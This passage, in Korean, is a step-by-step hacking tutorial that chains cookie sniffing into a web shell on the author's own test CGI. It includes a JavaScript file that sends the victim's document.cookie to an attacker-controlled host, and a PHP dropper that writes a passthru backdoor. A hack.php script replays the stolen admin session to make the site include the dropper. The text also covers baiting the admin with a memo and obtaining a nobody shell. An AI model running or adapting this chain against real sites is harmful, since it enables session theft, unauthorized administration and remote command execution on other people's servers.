3. 기술적인 내용
먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다.
이 문서에서 설명하는 해킹 순서를 알아보겠습니다.
(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) (2) Target 서버의 CGI 자료실에 test.txt 업로드 (3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt) (4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드 (5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림 (6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격 (7) beist.php 를 이용하여 nobody shell 획득
조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다.
target 의 정보는 다음과 같습니다.
Target Server URL - http://beist.org/ Target CGI URL - http://beist.org/~beist/auto/index.html
해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다.
Hacker URL - http://beist.hackerscomputer/
(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)
Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다.
test.txt
<html> <head> <title>beist's Cookie Sniffing</title>
<script language=javascript> window.open("http://beist.hackerscomputer/hack.php?cook="+document.cookie+"&url="+location.href); </script>
</head> <body>
Automatic attack program that can use in Cookie Sniffing
</body> </html>
이러한 Javascript 파일을 만듭니다. test.txt 의 기능은, window.open 메소드를 호출하고, open할 페이지로 hackerscomputer 의 hack.php 를 지정합니다. 이때 cook 이라는 인자를 넘기고, 그 값은 현재 브라우저의 쿠키가 담긴 document.cookie 를 보냅니다. 뒤의 url 인자에 담긴, location.href 라는 객체는 현재 웹 브라우저의 주소 값을 담고 있습니다. hack.php 에서 자동화 공격을 시도할 때, 보다 동적인 공격을 하기 위해 정보를 얻어냅니다.
(2) Target 서버의 CGI 자료실에 test.txt 업로드
위 파일을 Target 서버의 CGI 자료실에 업로드합니다.
(Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.)
자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다.
[화면1] http://beist.org/~beist/auto/index.html (메인메뉴)
pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다.
[화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form)
해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다.
[화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지)
pds_ok.html 의 소스를 보겠습니다.
pds_ok.html
<?
echo " <html> <head> <title>pds_ok</title> </head> <body> <center><br><br> <font size=2>";
if(eregi("php", $file_name)) { echo "no php : $file_name"; exit; }
if(eregi("htm", $file_name)) { echo "no htm* : $file_name"; exit; }
if(!copy($file, "data/$file_name")) { echo "file save failed"; exit; }
echo "http://beist.org/~beist/auto/data/$file_name save ok";
?>
test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다.
test.txt URL - http://beist.org/~beist/auto/data/test.txt
(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)
이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다.
beist.txt
<?
/* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor 파일입니다. 만약 beist.php 가 존재하지 않는다면 { } 안의 루틴을 실행합니다. */
if(!file_exists("./data/beist.php")) {
/* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의 내용을 넣습니다. */
$fp=fopen("./data/beist.php", "w");
fputs($fp, "<? passthru(\$beist); ?>");
fclose($fp);
}
echo " <html> <head> <title>beist test target program</title> </head> ";
?>
만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다.
잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다.
이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.)
beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다.
beist.txt URL - http://beist.org/~beist/auto/data/beist.txt
(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드
이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다.
hack.php 의 진행 순서
-1- Target Server 정보 저장 -2- Cookie Sniffing 으로 가져온 Target 의 Cookie(Session) 를 저장 -3- Target Web Server 에 연결 -4- Admin Menu 기능을 수행하는 CGI 요청 -5- Admin Menu 의 include 기능을 이용하여 beist.txt 파일을 include 하도록 환경 설정 -6- 쿼리 전달
hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다.
[화면4] http://beist.org/~beist/auto/admin_login.html (admin login form)
admin_login.html
<html> <head> <title>admin login</title> </head> <body> <center><br><br> <font size=2> beist admin login page<br><br> <table> <form action=admin_loginok.html method=post> <td>ID : </td><td><input type=text name=id></td><tr> <td>Passwd : </td><td><input type=password name=passwd></td><tr> <td><input type=submit></td><td></td> </form> </body> </html>
[화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok)
admin_loginok.html
<? session_start();
if($id == "admin" && $passwd == "beist") { $id="admin"; $passwd="beist"; session_register("id"); session_register("passwd"); echo "login ok"; }
echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n");
?>
[화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu)
admin_menu.html
<? session_start();
/* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는 메세지를 출력하고 CGI 실행을 종료한다. */
if($HTTP_SESSION_VARS["id"]) { if($HTTP_SESSION_VARS["id"]!="admin") { echo "oh! beist"; exit; } if($HTTP_SESSION_VARS["passwd"]!="beist") { echo "oh! beist"; exit; }
echo " <html> <head> <title>beist admin menu</title> </head> <body> <font size=2><center><br><br> <form action=admin_menu.html method=post> head file : <input type=text name=head><input type=submit> </form> </body> </html>";
/* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면, ./data/head.txt 파일을 열고 admin 이 지정한 파일을 넣는다. */
if($head) { $fp=fopen("./data/head.txt", "w"); fputs($fp, $head); fclose($fp); }
/* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면 admin 이 지정한 header 파일이 있다는 이야기이다. 그 값을 출력해준다. */
if(file_exists("./data/head.txt")) { $fp=fopen("./data/head.txt", "r"); $data=fgets($fp, 256); echo "header file : $data"; fclose($fp); }
echo "<br><br>welcome to beist world"; } else { echo "oh! beist"; }
?>
이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다.
index.html
<?
/* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header 파일로 지정한 값이 존재한다는 것이다. 해당 값을 읽고 include 시킴 */
if(file_exists("./data/head.txt")) { $fp=fopen("./data/head.txt", "r"); $data=fgets($fp, 256); fclose($fp); @include "$data"; } else echo " <html> <head> <title>beist test target program</title> </head> "; ?>
<body> <center><font size=2> <br><br><br> this is beist test target program<br><br><br> <a href=memo.html><font color=black>read memo</a><br> <a href=memo2.html><font color=black>write memo</a><br> <a href=pds.html><font color=black>pds</a><br><br> <a href=admin_login.html><font color=red>admin login</a><br> </body> </html>
index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다.
다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다.
header.txt
<html> <head> <title>beist cgi header file</title> </head> <center><font size=2><br><br> Hello, everybody. this is header file!!<br><br>
파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다.
[화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정)
이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다.
[화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html)
index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다.
hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다.
이제 본격적으로 hack.php 의 소스를 알아보겠습니다.
hack.php
<?
/* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */
$day = date("Y.m.d", mktime()); $time = date("H:i:s", mktime());
/* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면
에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */
if(!$cook) { $fp=fopen("/tmp/beist-error.txt", "a++"); if($url) fputs($fp, "$day - $time : $url access\n"); else fputs($fp, "$day - $time : $REMOTE_ADDR access\n"); fclose($fp); exit; }
echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>";
/* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의.
targetsession 은 cook 값. */
$total = substr($url, strlen("http://"), 100);
$use = split("/", $total);
$temp = "http://";
for($count=0;$count<sizeof($use)-2;$count++) { $temp .= $use[$count]; $temp .= "/"; }
$targetcgi = $temp; $targetaddress = $use[0]; $targetsession = $cook; $targettotal = $total;
echo "targetcgi : $targetcgi<br>"; echo "targetaddress : $targetaddress<br>"; echo "targetsession : $targetsession<br>"; echo "targettotal : $targettotal<br>";
/* 로그 파일에 기록 */
$fp=fopen("/tmp/beist-cookie.txt", "a++"); fputs($fp, "time : $day - $time\n"); fputs($fp, "address : $targetaddress\n"); fputs($fp, "session : $targetsession\n"); fputs($fp, "URL : $targettotal\n\n"); fclose($fp);
/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */
$includefile = ".%2Fdata%2Fbeist.txt";
/* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */
$argument = "head=$includefile";
/* POST header 에 보낼 데이터로, argument 의 길이를 저장 */
$argulength = strlen($argument);
/* header 정의 */
$httpheader= "POST $targetcgi"."admin_menu.html HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n". "Referer: $targetcgi"."admin_menu.html\r\n". "Accept-Language: ko\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (atfile.com))\r\n". "Host: 2nom.net\r\n". "Content-Length: $argulength\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie: $targetsession\r\n\r\n";
/* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */
$sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30); if(!$sock) { echo "$errstr ($errno)<br>"; $fp=fopen("/tmp/beist-error.txt", "a++"); fputs($fp, "$day - $time : $targetaddress connect failed\n"); fclose($fp); exit; }
/* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */
fputs($sock, $httpheader); fputs($sock, $argument); echo fread($sock, 1024); fclose($sock);
?>
hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다.
hack.php URL - http://beist.hackerscomputer/hack.php
(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림
이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다.
[화면8] http://beist.org/~beist/auto/read.html (read memo page)
(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격
Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다.
[화면10] Admin 이 test.txt 를 읽었을 때 상황
무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다.
[beist@beist auto]$ cat data/head.txt ./data/beist.txt
data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다. (7) beist.php 를 이용하여 nobody shell 획득
header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다.
백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다.
[화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일]
id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다.
|